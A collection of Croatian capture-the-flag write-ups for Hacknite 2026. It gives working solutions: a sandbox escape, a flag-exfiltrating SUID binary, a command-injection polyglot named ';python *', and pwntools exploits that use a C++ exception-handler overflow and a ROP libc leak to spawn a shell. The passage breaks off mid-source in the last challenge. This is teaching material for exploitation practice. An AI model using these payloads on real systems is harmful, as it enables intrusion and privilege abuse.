Kako bi se zadatak riješio, umjesto korištenja jednog jedinstvenog znaka u jednom zahtjevu za rekonstruiranje mapiranja, koristi se jedinstvena kombinacija dvaju znakova unutar dva zahtjeva.
Npr. ako je u prvom zahtjevu znak a bio na poziciji 0' i još 9 pozicija, a u drugom zahtjevu je znak b bio na poziciji 0' i još 9 pozicija, kombinacija je “jedinstvena” ako je ovo slučaj isključivo za poziciju 0, da se pojavio niz ab.
Tada je jednostavno potrebno pronaći izlaznu poziciju na kojoj je u prvom zahtjevu bio znak a (kojih je više), a u drugom znak b (samo jedna pozicija zadovoljava oba uvjeta, puno pozicija zadovoljava pojedinačni uvjet).
Ako je C broj različitih dopuštenih znakova, a N broj zahtjeva, ovom tehnikom se može otkriti:
(C-1)**N
mapiranja ulaznih pozicija u izlazne pozicije, dok je tehnikom kojom je riješen prošli zadatak taj broj bio:
(C-1)*N
Ilustracija tehnike:
Zahtjev 1 - Ulaz: a a a b b b Zahtjev 2 - Ulaz: a b c a b c Zahtjev 1 - Izlaz: b a b a a b Zahtjev 2 - Izlaz: a a c c b b Jedinstvene kombinacije znakova: (b,a) -> ulaz[3] -> izlaz[0] (a,a) -> ulaz[0] -> izlaz[1] (b,c) -> ulaz[5] -> izlaz[2] (a,c) -> ulaz[2] -> izlaz[3] (a,b) -> ulaz[1] -> izlaz[4] (b,b) -> ulaz[4] -> izlaz[5]
Kako bi se riješio ovaj zadatak, mogu se napraviti manje preinake nad kodom rješenja prethodnog zadatka:
#!/usr/bin/env python3 from pwn import * import sys, string, base64, re HOST = "chal.platforma.hacknite.hr" PORT = 14056 io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else remote(HOST, PORT) def query(data): io.sendline(b"2") io.recvuntil(b"Enter sequential data: ") io.sendline(data.encode()) io.recvuntil(b"[CONTINUOUS OUTPUT]\n") return io.recvline().decode().rstrip("\r\n") io.recvuntil(b"> ") io.sendline(b"1") io.recvuntil(b"[CONTINUOUS OUTPUT]\n") target = io.recvline().decode().rstrip("\r\n") io.recvuntil(b"> ") n = len(target) abc = string.ascii_letters + string.digits + string.punctuation b = len(abc) p1 = "".join(abc[i % b] for i in range(n)) p2 = "".join(abc[i // b] for i in range(n)) o1, o2 = query(p1), query(p2) lookup = {(abc[i % b], abc[i // b]): i for i in range(n)} plain = [""] * n for j, (a, c) in enumerate(zip(o1, o2)): plain[lookup[a, c]] = target[j] decoded = base64.b64decode("".join(plain)).decode() print(decoded) print("FLAG:", re.search(r"CTF\S+", decoded).group()) io.close()
ebg IE
Zadatak ima više kombinacija koje prihvaća kao točno rješenje. Spoji se na servis naredbom netcat: nc chal.platforma.hacknite.hr 14051
Uz zadatak je dan izvorni kod.
Može se vidjeti da skripta koja pokreće zadatak čita unos korisnika i onda ga prosljeđuje s pomoću naredbe yes u Python skriptu koja se pokreće s pomoću Python2.
Sam Python kod je jako neuobičajen i može se primijetiti da čak i na pozicijama koda na kojima dolaze ključne riječi, kao if, else itd, nalaze se druge nejasne riječi. Ako se pogleda mjesto na kojem bi se strukturalno nalazila ključna riječ if, nalazi se tekst vs. Može se primijetiti da je ovo rot13.
Unutar prve dvije linije koda nalaze se komentari koji zapravo definiraju koje kodiranje je korišteno u programu. Na više mjesta su “definirana” različita kodiranja, ali interpretator prihvaća samo jednu definiciju:
coding :ascii
pbqvat: ebg13
coding:
rot13
# coding: UTF-8
pbqvat: pc500
<code>
definicija koja postavlja ''ASCII'' je krivo definirana zbog razmaka između dvotočke i ''coding'', ''UTF-8'' je dobro definiran, ali se ne koristi jer je zapravo, iznenađujuće, ''rot13'' kodiranje prihvaćeno i definirano prije. Ovo kodiranje radi ''rot13'' nad svim slovima programa osim onih koja se nalaze u stringovima. Ako se primijeni ''rot13'' na takav način nad kodom, ''pbqvat: ebg13'' će opet postati ''coding: rot13'' što bi spriječilo izvršavanje programa pa se taj dio mora maknuti iz koda.
Nakon toga se može dobiti čitljiviji oblik koda:
<code python>
k =r ="riny"
n =False =False ==False ==False *False
h =a =eval ("n")*n *len (eval ("k"))
q =(`a `+"vachg"*a )[a *a :];m =raw_input ()
s =eval ("`input`")+`eval ("()")`
f =eval ("s")
raw_ ="false";
snyfr =(k for k ,v in globals ().iteritems ()if v is raw_ ).next ()
if not eval ("r"):
Input =input (n )*n
pass ;
d =r =-eval (n )
input =Input (n )/n
def l (n ,snyfr ):
while snyfr :
n ,snyfr =snyfr ,n %snyfr
return n
e =eval ('k+("a")')[:-1 ];r =eval
e =r ("e+('()')");f =(r (r ("snyfr")+f [--n --r (`n `)+r ("a")*r ("a")+n :-3 *n ])()*n );eval =e
f =int (r ("f"))
o =[`f `+" a "*-n ,`n `+" e(a) ",`r ("a")`]
exec ('vachg = `r` + e; d="e(q)" ')
exec ('r =r("r")');q *=-n *n ;pass ;#d = input()
hkf =x =`(r (' `((r))` '))`[-r ("a")*--2 +--1 :--++-r ("a")/4 ---True ];d =```r (`d `)```[1 :-1 ];
eval =r ;m =(e [:-1 ]+(str ("'x'"))+e [-1 ])
z =(e [:-1 ]+r ('r("a*k")')+e [-1 ])
exec ("z=`d`;x=d")
vachg +=`r (hkf )`*n +q
def y (vachg ):
return r ("l")((int (vachg )-1 )*(int (vachg )+1 ),len (o )*(len (`vachg `)/3 ))
k +=`r ("x")*True `+`r ('m')`*-++True
if n ==False or (r (r ("x")*`r ("('(`e`)')")`)!=e )==False :
k =k [r ("a"):]*n
f =o [not n ]
elif n ==True :
rkrp =riny
f =o [n ]
else :
riny =rkrp
f =o [-n ]
try :
s =r (r ("f")[int (`int (r ("f"))`[False ])])--n
except :
False =[int (`int (r ("f"))`[int (min (str (s )))])]
finally :
o +=[s ,False ,eval ("o")]
for v in range (s --n --n ):
z =o [v ---n ---n ]
o =o [s ]
q =len (o [z ]);raw_ =raw_input ()
z =`f `[q ]
raw_ =r (o [2 *n ]+`o [3 *-n ]`)/r (`len (vachg )`[::-1 ]);
Print =[all (n %v for v in (7 ,3 ,2 ,5 ))for n in (r (`raw_ `+z ),r (z +`raw_ `))]
if not ((r (raw_ +z )/v for v in (3 ,2 ,7 ,5 ,1 ,4 ,8 ))and (r (z +raw_ )//d for d in (2 ,1 ,9 ,0 ,5 ,3 ,7 ))):
o +=o ,z [raw_ ],Print
if r (`1 =='1'`):
n =`n `+`o [0 ]`[r ('v')]
if not (Print [z ==k ]and (Print [k ==`d `]==Print [`d `==```f ```])):
q =vachg ()
if `1 =='1'`:
vag =int (o [2 ])+o [3 ]+v
n =r ("y")(int (n [int (n [False ])-False ]))
if len (`f `)-2 !=n /4 :
o [vag /3 ]()
if len (r (`d `))==len (r (k )):
n /=2
if not (int (r ("f")[-len (`d `)/2 :-len (r (k )):-False ])==vag *2 ):
n +=2
if not (o [-2 ]==o [1 ]):
d (d )
z =(n ==int (f [6 :4 :-1 ]))
if not (int (f [z ])*3 ==int (f [-z ])+int (f [z -1 ])):
exit ()
z +=(f [3 ]==f [-3 ])
nod =int (f [z -1 ])/2
if not (nod *nod ==int (f [-z ])):
rkvg ()
m1 =int (min (r ("f")))
m2 =int (max (f ))
m3 =int (f [len (f )-z ])
p1 =int (f [z ])
p2 =int (f [p1 ])
p3 =int (f [p2 ])
p4 =int (f [p3 ])
p5 =int (f [p4 ])
for q in r ("f"):
m3 +=int (q )
k =[(m3 %10 <=5 ),(p4 ==m1 ),(p1 +p2 ==m2 ),(p3 *p3 ==m2 ),(p3 *2 ==p5 ),(p2 +p1 ==int (f [-z ])),]
for c in k :
z +=c
if r ("z")>=7 :
print ("You Win!")
kod odmah na početku ima liniju
n =False =False ==False ==False *False
koja postavlja False u True u daljnjem izvršavanju programa, što je moguće u verziji 2 Pythona. Korisnički unos se čita na tri mjesta (ali skripta koja pokreće program za sva tri šalje istu vrijednost koju je korisnik unio). Samo jedan od ta tri unosa se dalje koristi u kodu te je potrebno pratiti kako se taj unos dalje koristi kroz kod.
Za krive korisničke unose program baca grešku pa je potrebno pronaći korisnički unos za koji će se skripta izvršiti do kraja bez stvaranja greške. Jedna od tehnika koju je potrebno koristiti je referenciranje liste unutar same sebe, kako bi se moglo više puta referencirati element podliste koji pokazuje na samu listu:
>>> a=[1,2,3] >>> a.append(a) >>> a [1, 2, 3, [...]] >>> a[3] [1, 2, 3, [...]] >>> a[3][3] [1, 2, 3, [...]] >>> a[3][3][3][3][3][3] [1, 2, 3, [...]]
Načinom na koji kod koristi korisnički unos može se zaključiti da korisnički unos mora biti broj duljine 12 znamenki.
Na kraju se može pronaći da oblik rješenja koji zadovoljava sve uvjete je tipa:
65X03420Y719
gdje X i Y mogu biti više različitih vrijednosti.
Jedno od rješenja je 654034276719.
Cheesy Quine
Opustite se uz Cheesy Quine! Spoji se na servis naredbom netcat: nc chal.platforma.hacknite.hr 14050
Uz zadatak je dan izvorni kod.
Program uzima korisnički unos, izvršava ga unutar vrlo ograničenog okruženja. Potom se provjerava je li rezultat izvršavanja string i nalazi li se u njemu znak a ili b i u tom slučaju se rezultat izvršavanja koda ponovno izvršava kao kod. Ovo se ponavlja unutar petlje 30 puta i ako se uspije izvršiti 30 iteracija onda se ispisuje flag.
Može se primijetiti da se pri izvršavanju koristi dvostruka evaluacija:
to_eval = eval(str(eval(to_eval, sandbox, {})))
Zadatak na prvi pogled izgleda kao da je potrebno napisati kod čiji se rezultat uzastopno može izvršavati barem 60 puta.
No postoji drugačije rješenje, a to je da se korištenjem dopuštenih funkcionalnosti unutar okruženja “sastavi” i pozove funkcija input.
Duljina unosa smije biti do 40 znakova pa se mora s pomoću funkcija chr (a), ord (b) i str(c) na što kraći način sastaviti i pozvati funkcija za korisnički unos.
Jedna od tehnika koja se koristi za stvaranje znakova zagrade () za pozivanje funkcije je:
>>> c=str >>> c(()) '()'
slova u nazivu funkcije input mogu se jednostavno konstruirati korištenjem funkcije chr (a).
>>> c=str >>> a=chr >>> a(105)+a(110)+a(112)+a(117)+a(116)+c(()) 'input()' <code> Ako se ovo pošalje kao unos zadatka, moći će se unijeti novi korisnički unos i jedna iteracija petlje će biti izvršena. Kao korisnički unos se ponovno može unijeti isto kako bi se ponovno pozvao ''input'' i to se može raditi neograničeno puta. Kako bi se riješio zadatak potrebno je 30 puta unijeti isti unos: <code python> a(105)+a(110)+a(112)+a(117)+a(116)+c(())
Hashtraction
Pošaljite svoj custom hashing program na hash benchmark! http://chal.hacknite.hr:20002/
Uz zadatak je dan izvorni kod.
U zadatak se učitava binarna izvršna datoteka implementacije hashing algoritma koji se potom testira i provjerava. Moraju biti zadovoljeni uvjeti da program za svaki unos ispiše jedan izlaz koji mora biti:
1. Heksadecimalan tekst duljine točno 64 znaka 2. Determinističan, isti unos daje isti izlaz 3. Razumno otporan na sudare, da ne bude detektiran isti izlaz za dva ulaza
Pri izvršavanju, spuštaju se prava korisnika s pomoću SUID-a koji se inače koristi za privremeno podizanje privilegija na višeg korisnika. Umjesto toga, privilegije se postavljaju na korisnika suiduser koji je restriktiran i ne može pročitati flag.
No program pri izvršavanju može maknuti SUID i nastaviti izvršavanje kao korisnik player koji ima dozvolu pročitati flag.txt.
setreuid(getuid(), getuid());
Kako bi se flag pročitao i ispisao, mora se eksfiltrirati kroz ispise hash vrijednosti na takav način da su svi uvjeti za hash algoritam i dalje zadovoljeni. Tako se prvi dio hash vrijednosti može koristiti za enkodiranje pročitanog flaga, a drugi dio hash vrijednosti osigurava potrebna svojstva, kako program ne bi bio odbačen, nego se izvršava i flag se može pročitati.
Kod koji se može kompajlirati u izvršnu datoteku koja nakon učitavanja na server i izvršavanja ispisuje flag kao hex vrijednost:
#include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { // Drop SUID privileges setreuid(getuid(), getuid()); char flag[23] = {0}; FILE *f = fopen("/home/player/flag.txt", "r"); if (f != NULL) { fread(flag, 1, 23, f); fclose(f); } // Print the flag as Hex (46 Hex Characters) for (int i = 0; i < 23; i++) { printf("%02x", (unsigned char)flag[i]); } // end bytes -> XOR every character of the input unsigned char hash[9] = {0}; if (argc > 1) { int len = strlen(argv[1]); for(int i = 0; i < len; i++) { // XOR each character into one of the slots hash[i % 9] ^= argv[1][i]; } } // Print hash as Hex (18 Hex Characters, Total = 64) for (int i = 0; i < 9; i++) { printf("%02x", hash[i]); } printf("\n"); return 0; }
Math AlgoBenchmarker
Uploadajte svoj algoritam na benchmark za računanje moving averagea. Izvršava se unutar našeg strogog i sigurnog sandboxa. http://chal.hacknite.hr:20003/
Uz zadatak je dan izvorni kod.
Na poslužitelj se šalje binarna izvršna datoteka koja se prvo testira a potom izvršava.
Kada se konstruira naredba za izvršavanje datoteke, moguće je napraviti command injection kroz ime datoteke:
# EXECUTION
cmd = (
"python /app/generate_data.py | "
f"/usr/bin/sudo -n -u nobody ./{fname}"
)
_exec_rc, exec_output = run_limited(
["/bin/sh", "-c", cmd],
cwd=workdir,
env={"PATH": "/usr/local/bin"},
timeout=5,
)
Kako bi se riješio zadatak potrebno je kao datoteku na poslužitelj učitati polyglot datoteku koja je istovremeno i Python kod i binarna ELF datoteka.
To je moguće napraviti radi Pythonove implementacije PEP 441 prijedloga za poboljšanje izvršavanja aplikacija unutar zip arhive. Python može direktno izvršavati kod koji se nalazi u main.py datoteci unutar zip arhive. U tom slučaju Python čita datoteku od kraja, a zanemaruje bilo kakav sadržaj koji se pronađe “iznad” parsirane zip arhive s kodom. Ova polyglot tehnika je detaljnije objašnjena u sljedećem writeupu zadatka Math ScriptBuilder.
Kada se datoteka izvršava kao binarna izvršna datoteka, tada se čita od početka a bilo kakav sadržaj dodan na “kraj” datoteke se zanemaruje.
Zato se može konstruirati polyglot datoteka strukture:
ELF: Kompajlirani C kod Python: ZIP (__main__.py)
U fazi testiranja poslane datoteke, konstrukcija naredbe nije ranjiva, tako da će se sigurno izvršiti binarna izvršna datoteka, koja mora zadovoljiti provjeru kako bi se prešlo u fazu izvršavanja, u kojoj je preko imena datoteke moguće izvršiti command injection
Datoteka se treba nazvati na takav način da sama sebe pokrene s pomoću Pythona:
;python *
Točka-zarez završava prethodnu naredbu, a potom se poziva Python i kao datoteka koja se izvršava se stavlja wildcard * znak. Wildcard će se proširiti na jedinu datoteku u direktoriju, odnosno na samu tu datoteku, tako da imenom datoteke ona sama sebe pokreće s pomoću Pythona.
C kod avg.c koji se kompajlira u izvršnu datoteku poliglota:
#include <stdio.h> int main() { int count = 0; int sum = 0; int num; while (scanf("%d", &num) == 1) { sum += num; count++; } if (count > 0) { printf("Average: %.2f\n", (float)sum / count); } else { printf("Average: 0.00\n"); } return 0; }
Python datoteka main.py koja čita i ispisuje flag:
import os print("--- Python Polyglot Exe ---") try: with open("/app/flag.txt", "r") as f: print("FLAG:", f.read()) except Exception as e: print("Error reading flag:", e)
Bash skripta koja iz prethodnih dviju datoteka gradi polyglot:
#!/bin/bash echo "[*] Compiling avg.c..." # Compile gcc avg.c -o temp_elf echo "[*] Zipping __main__.py..." # Zip Python payload zip -q temp_payload.zip __main__.py echo "[*] Creating the polyglot" # Concatenate ELF and ZIP # wrap filename in quotes (prevent expansion / evaluation) cat temp_elf temp_payload.zip > ";python *" echo "[*] Cleaning up tmp build files..." rm temp_elf temp_payload.zip echo "[+] The payload is built:" ls -la ";python *"
Izgrađenu datoteku je potrebno učitati na poslužitelj kako bi se flag pročitao i ispisao.
Math ScriptBuilder
Rješenje zadatka dostupno je ovdje:
Sigurnost Umjetne Inteligencije
Flask Autocomplete
Rješenje zadatka dostupno je ovdje:
Binarna eksploatacija
Aliens
Vanzemaljci su napali svijet. Na tebi je da ih pobijediš! Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19005
Kontekst zadatka
Izvorni kod:
std::string username; ... int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); system("clear"); std::ifstream banner("ascii/banner.txt"); std::string line; while (std::getline(banner, line)) { std::cout << line << '\n'; } banner.close(); std::cout << "\n\n"; dialog("Vanzemaljci su napali! Jedina osoba koja može spasiti svijet si ti.\n"); dialog("Tvoj posao je pobijediti sve neprijatelje!\n"); dialog("Na posao, CHOP CHOP!\n"); std::cout << "Unesi svoje ime: "; std::cin >> username; try{ start_battle(); } catch (int){ system("clear"); std::cout << "Nešto je pošlo po zlu..." << std::endl; } return 0; } void start_battle() { std::ifstream alien("ascii/alien.txt"); std::vector<std::string> alien_lines; std::string alien_line; while (std::getline(alien, alien_line)) { alien_lines.push_back(alien_line); } alien.close(); std::ifstream soldier("ascii/soldier.txt"); std::vector<std::string> soldier_lines; std::string soldier_line; while (std::getline(soldier, soldier_line)) { soldier_lines.push_back(soldier_line); } soldier.close(); fds.fd = 0; fds.events = POLLIN; for(int enemies = 0; enemies < ENEMIES; enemies++){ int hp = 10 + 5 * enemies; for (int tabs = 6; tabs >= 0 && hp > 0; tabs--) { stop = 0; print_battle(soldier_lines, alien_lines, tabs, hp); alarm(1); signal(SIGALRM, alarm_handler); while (hp > 0 && !stop){ battle(&hp, soldier_lines, alien_lines, tabs); } } if (hp > 0){ system("clear"); std::cout << "Svijet je izgubio :(" << std::endl; exit(0); } else if (enemies == (ENEMIES - 1)){ system("clear"); std::cout << "Pobjeda!! :)" << std::endl; } } } ... void battle(int* hp, std::vector<std::string> soldier_lines, std::vector<std::string> alien_lines, int tabs){ char in; int r = poll(&fds, 1, 100); if(!stop && r > 0 && (fds.revents & POLLIN)){ read(0, const_cast<char*> (&in), 0x1000); if(in != '\n') throw -1; if(!stop) { --*hp; printf("\033[1A"); if(*hp > 0) print_battle(soldier_lines, alien_lines, tabs, *hp); } } } void print_battle(std::vector <std::string> soldier_lines, std::vector <std::string> alien_lines, int tabs, int hp){ char* error = "clear; echo \"Greška u printanju\""; try{ system("clear"); for (int i = 0; i < soldier_lines.size(); i++) { printf(soldier_lines[i].c_str(), username.c_str()); for (int i = 0; i < tabs; i++) { std::cout << '\t'; } if (i == alien_lines.size()-1) {printf(alien_lines[i].c_str(), hp); printf("\n");} else std::cout << alien_lines[i] << std::endl; } } catch (int){ system(error); exit(0); } }
Izlaz naredbe file i pwn checksec:
file a.out: a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /ctf/libs/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a6e04cd0b40f1d5fe74818eb259e5188964a0bef, not stripped pwn checksec a.out: [!] Could not populate PLT: Invalid argument (UC_ERR_ARG) [*] '/hacknite_2026/pwn/aliens/a.out' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fc000) RPATH: b'./libs/'
Program je igra u kojoj korisnik mora pobijediti vanzemaljce.
U main funkciji korisnika se najprije pita za unos imena nakon čega se pokreće funkcija start_battle.
Unutar nje, poziva se funkcija battle za parsiranje unosa \<ENTER\> te ispis trenutnog stanja borbe funkcijom print_battle.
Ranjivost i ideja napada
Ranjivost programa nalazi se u funkciji battle:
char in; int r = poll(&fds, 1, 100); if(!stop && r > 0 && (fds.revents & POLLIN)){ read(0, const_cast<char*> (&in), 0x1000); // <-- Ranjivost if(in != '\n') throw -1;
Varijabla in je tipa char, odnosno, veličine jednog bajta. Funkcijom read poziva se unos maksimalne veličine
0x1000 čime je omogućen stack buffer overflow.
S obzirom na to da je datoteka kompilirana sa stack canary zaštitom, klasično prepisivanje return adrese nije moguće. Međutim, program je pisan u C++ programskom jeziku. C++ u odnosu na C ima dodatan mehanizam iznimki (try…catch blok) koji može biti iskorišten napadom Catch Handler Oriented Programming (CHOP).
Kada program baci iznimku, na stogu se izvodi rewind kojim se program vraća u okvir prve funkcije koja se nalazi u try bloku
i izvodi naredbe catch bloka. Stack canary se provjerava tek na izlazu iz funkcije.
Ideja CHOP napada je prepisati return adresu na funkciju u kojoj je definiran catch blok. Ako catch blok koristi varijable definirane na stogu, nad kojima imamo kontrolu zbog stack buffer overflow, moguće je izmijeniti tok programa.
Kako bi se zadatak riješio potrebno je iskoristiti stack buffer overflow unutar funkcije battle na način da se pripremi
okvir (frame forging) koji odgovara catch bloku funkcije kojom se može izmijeniti tok, prepisati return adresu na
try blok te funkcije i izazvati exception (koji se uvijek baci ako prvi uneseni bajt nije “\\n”).
Funkcija print_battle odgovara tom opisu:
char* error = "clear; echo \"Greška u printanju\""; try{ ... } catch (int){ system(error); exit(0); }
Funkcija print_battle unutar catch bloka poziva system(error). Ako se okvir pripremi na način da se na offsetu za varijablu
error nalazi adresa stringa “/bin/sh” ili “sh” , korisnik će dobiti sistemsku ljusku. String za pozivanje ljuske
se može pripremiti varijablom username unosom imena na početku programa.
Rješenje
from pwn import * e = ELF("./a.out") if args.D: p = gdb.debug("./a.out",""" b *0x0000000000402e54 c """) elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.send("\n\n\n") p.sendline(b"sh") p.send(b"A" * 0x55 + p64(0x408420) + p64(0x402d0d)) p.interactive()
Bat gadgets
Priložen je iznimno siguran sustav koji zahtijeva autentifikaciju. Možeš li saznati tko stoji iza njega? Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19004
Kontekst zadatka
Izvorni kod:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void secret_intro(); void get_user_code (char* entered_code){ char* buf = (char*) malloc(24); read(0,buf,24); printf("Validiranje...\n"); sleep(1); strcpy(entered_code, buf); free(buf); } int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); FILE* file = fopen("/dev/urandom", "rb"); unsigned char code[8] = {0}; fread(code, 1, 8, file); for(int i = 0; i < 8; i++){ code[i] = (code[i] % 95) + 32; } unsigned char entered_code [24] = {0}; for(int i = 0; i < 3; i++){ printf("%d. UNESI KOD {max 3}: ", i+1); get_user_code(entered_code); if(strcmp(entered_code, code) == 0) { secret_intro(); exit(0); } } printf("Postignut maksimalan broj pokušaja, izlaz...\n"); return 0; } void secret_intro(){ FILE* file = fopen("ascii/bats.txt", "r"); char* buf = (char*) malloc(0x2000); int n = fread(buf, 1, 0x2000, file); printf("%s\n", buf); free(buf); fclose(file); char in; gets(&in); }
Izlaz naredbi file i pwn checksec:
file a.out: a.out: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /ctf/libs/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=511906fccc020c030a02b4e085a3f05dd25d8d11, not stripped pwn checksec a.out: [*] '/hacknite_2026/pwn/bat_gadgets/a.out' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'./libs'
Program najprije funkcijom get_user_code traži unos u entered_code polje koji mora biti jednak izlazu iz /dev/urandom pohranjen u code polju.
Korisniku je dopušteno maksimalno 3 pokušaja.
Nakon unosa, strcmp funkcijom provjerava se jesu li podatci jednaki.
Ako jesu, poziva se secret_intro. Unutar nje poziva se ranjiva funkcija gets.
Ranjivost i ideja napada
Unutar get_user_code funkcije poziva se malloc s argumentom 24. U vraćeni chunk upisuje se funkcijom read argumentom 24 za veličinu unosa.
Podatci iz chunka kopiraju se u varijablu entered_code funkcijom strcpy. Na stogu, entered_code se nalazi odmah prije code varijable.
Ranjivost je neispravan način korištenja read i strcpy funkcija. Funkcija read unos ne obrađuje kao string, zbog čega ne postavlja vrijednost
0x00 na kraju unosa. Funkcija strcpy kopira podatke sve dok ne naiđe na 0x00 vrijednost koju također kopira.
S obzirom na to da se upisuje u chunk veličine 24, dio podataka ulazi u prev_size zaglavlje idućeg chunka na heapu. Zaglavlje prev_size prethodi
zaglavlju size koji uvijek sadrži istu vrijednost u svakoj vrtnji programa.
Izgled u memoriji:
0x406480: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x406488: 0x21 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x406490: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ← chunk u koji se zapisuje unos
0x406498: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x4064a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ← prev_size idućeg chunka
0x4064a8: 0x61 0xfb 0x01 0x00 0x00 0x00 0x00 0x00 ← size idućeg chunka
Jer se od početka unosa do kraja vrijednosti u size zaglavlju ne nalazi vrijednost 0x00,
funkcija strcpy će prepisati i vrijednost u size zaglavlju na stog i time izmijeniti
vrijednost u code polju.
Zatim u drugom pokušaju ako se unese vrijednost size zaglavlja,
provjera funkcijom strcmp će vratiti nulu.
Kako bi se pozvala sistemska ljuska, potrebno je dobiti leak libc objekta i pozvati funkciju system.
To se može postići ROP napadom s obzirom na to da je dostupan stack buffer overflow zbog funkcije gets.
Izlaz naredbe xgadget:
xgadget --reg-pop a.out: TARGET 0 - [ name: 'a.out' | fmt-arch: ELF-X64 | entry: 0x00000000401110 | exec bytes/segments: 1,125/1 ] 0x00000000401451: pop r12; pop r13; pop r14; pop r15; ret; 0x00000000401453: pop r13; pop r14; pop r15; ret; 0x00000000401455: pop r14; pop r15; ret; 0x00000000401457: pop r15; ret; 0x00000000401454: pop rbp; pop r14; pop r15; ret; 0x000000004011dd: pop rbp; ret; 0x00000000401458: pop rdi; ret; 0x00000000401456: pop rsi; pop r15; ret; 0x00000000401452: pop rsp; pop r13; pop r14; pop r15; ret;
Provjerom adrese vidimo da su gadgeti dio funkcije batman_gadgets:
gef➤ disas 0x401439 Dump of assembler code for function batman_gadgets: 0x0000000000401439 <+0>: push 0x8 0x000000000040143b <+2>: push 0x7 0x000000000040143d <+4>: push 0x6 0x000000000040143f <+6>: push 0x5 0x0000000000401441 <+8>: push 0x4 0x0000000000401443 <+10>: push 0x3 0x0000000000401445 <+12>: push 0x2 0x0000000000401447 <+14>: push 0x1 0x0000000000401449 <+16>: pop r8 0x000000000040144b <+18>: pop r9 0x000000000040144d <+20>: pop r10 0x000000000040144f <+22>: pop r11 0x0000000000401451 <+24>: pop r12 0x0000000000401453 <+26>: pop r13 0x0000000000401455 <+28>: pop r14 0x0000000000401457 <+30>: pop r15 0x0000000000401459 <+32>: ret
Gadgeti za registre RDI, RSI i RDX su prikriveni, no nalaze se u funkciji ako se gledaju na drugačijem offsetu, na primjer:
gef➤ x/i 0x0000000000401457 0x401457 <batman_gadgets+30>: pop r15 gef➤ x/i 0x0000000000401457+1 0x401458 <batman_gadgets+31>: pop rdi
Kako bi se dobio libc leak, može se iskoristiti neka od funkcija u .got.plt sekciji poput puts.
Nakon dobivanja leaka, ponovno se pozove secret_intro u kojemu se unese ROP lanac za funkciju system.
Rješenje
from pwn import * e = ELF("./a.out") r = ROP("./a.out") l = ELF("./libs/libc.so.6") if args.D: p = gdb.debug("./a.out", "b secret_intro") elif args.R: p = remote(HOST, PORT) else: p = process("./a.out") p.send(b"a" * 24) p.send(b"\x61\xfb\x01\x00") bss = e.get_section_by_name(".bss").header.sh_addr + 0x200 def set_args(rdi = None, rsi = None, rdx = None): payload = b"" batman_gadgets = e.sym["batman_gadgets"] if rdi != None: payload += p64(batman_gadgets + 31) + p64(rdi) if rsi != None: payload += p64(batman_gadgets + 29) + p64(rsi) + p64(0) if rdx != None: payload += p64(batman_gadgets + 21) + p64(rdx) + p64(0) * 5 return payload p.clean(2) payload = b"A" * 0x1d payload += set_args(0,bss,8) payload += p64(0x4010a0) #read@plt payload += set_args(0x403fd8) payload += p64(0x401050) payload += p64(e.sym["secret_intro"]) p.sendline(payload) p.send(b"/bin/sh\x00") libc_leak = p.recvline()[:-1] libc_leak = u64(libc_leak + b"\x00" * (8 - len(libc_leak) % 8)) execve = libc_leak - l.sym["__libc_start_main"] + l.sym["execve"] payload = b"A" * 0x1d payload += set_args(bss, 0, 0) payload += p64(execve) p.sendline(payload) p.interactive()
Colorizer
Dugo očekivana aplikacija napokon je na tržištu! Oboji svoj ASCII art kako god želiš! Spoji se na servis naredbom netcat: nc chal.hacknite.hr 19003
Kontekst zadatka
Izvorni kod:
... unsigned char effects[MAX]; const char* commands[12] = {"BLACK", "RED", "GREEN", "YELLOW", "BLUE",\ "PURPLE", "BROWN", "WHITE", "MOVE", "RETURN", "ERASE", "QUIT"}; int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); system("clear"); system("cat banner.txt"); cout << "Dugo očekivana aplikacija napokon je izašla na tržište!\n" "Uređivanje ASCII umjetnosti nikada nije bilo lakše.\n" "Unesite vlastiti ASCII art i obojite ga kako god želite, kada god želite\n" "i gdje god želite!\n"; cout << "\n" << BLINK << "<ENTER>\n" << RESET; getchar(); system("clear; cat banner.txt"); cout << "Za odabir opcije unesite tekst koji će biti prikazan na ekranu.\n" "Odabir opcije će se primijeniti na poziciji na kojoj se pokazatelj trenutno " "nalazi (prikazan s " << CURSOR << "O" << RESET << ").\n" << "Pritiskom <ENTER> prijašnje odabrana opcija će se primijeniti i na trenutnoj " "poziciji.\n\n" << BLINK << "<ENTER>\n" << RESET; getchar(); colorize(); exit(0); return 0; } void colorize(){ system("clear; cat banner.txt"); cout << "Unesi ASCII art>> \n"; char* buf = (char*) malloc(MAX); struct pollfd pfd; pfd.fd = 0; pfd.events = POLLIN; int max = 0; do { int n = read(0, buf + max, MAX - max - 1); max += n; int ret = poll(&pfd, 1, 200); if(ret <= 0) { break; } } while(max < (MAX - 1)); if (strcmp(buf,"\n") == 0){ cout << "Krivi input, izlaz." << endl; exit(0); } int idx = max; buf[max] = 0; string command = ""; string last_command = "MOVE"; while(1){ if(buf[idx%max] == '\n'){ if(last_command == "RETURN"){ idx--; continue; } else{ idx++; continue; } } system("clear"); print_ascii(buf, idx, max); print_options(); cout << "\nOption: "; getline(cin,command); if(command == ""){ command = last_command; } for(int i = 0; i < 8; i++){ if(command == commands[i]){ effects[idx%max] |= 1<<i; idx++; break; } } if(command == commands[8]){ idx++; } else if(command == commands[9]){ idx--; } else if(command == 